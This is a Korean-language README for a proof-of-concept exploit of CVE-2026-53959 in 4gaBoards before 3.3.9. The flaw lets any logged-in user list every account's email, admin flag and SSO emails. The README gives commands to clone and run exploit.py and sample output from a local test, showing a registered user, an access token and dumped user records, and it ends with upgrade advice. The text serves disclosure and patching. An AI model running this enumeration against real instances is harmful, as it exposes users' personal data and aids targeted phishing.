
4gaBoards < 3.3.9 - 사용자 정보 공개
이 저장소에는 CVE-2026-53959에 대한 PoC(개념 증명) 익스플로잇이 포함되어 있습니다.
이 프로젝트는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 사용하지 마십시오.
4gaBoards는 실시간 프로젝트 관리를 위한 보드 시스템입니다. 3.3.9 이전 버전에서 4gaBoards는 인증된 모든 사용자가 GET /api/users를 통해 모든 사용자의 계정 정보를 열거하고 GET /api/users/:id를 통해 임의의 계정을 검색할 수 있도록 허용합니다. users/index 및 users/show 액션은 server/config/policies.js의 기본 is-authenticated 정책에만 의존하며, server/api/controllers/users/index.js는 요청자별 권한 부여 또는 응답 검증 없이 sails.helpers.users.getMany()의 결과를 반환합니다. 응답에는 이메일, 전화번호, 조직, 이름, isAdmin, ssoGoogleEmail, ssoGithubEmail 및 기타 SSO 연동 이메일 필드가 포함되며 관리자 데이터도 포함됩니다. 이로 인해 인스턴스 전체 사용자 열거, 개인정보 손실, 표적 피싱 정찰이 가능해집니다. 이 문제는 3.3.9 버전에서 수정되었습니다.
| 구성 요소 | 버전 |
|---|---|
| 취약 | <=3.3.8 |
| 패치됨 | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
4gaBoards를 3.3.9 이상 버전으로 업그레이드하세요.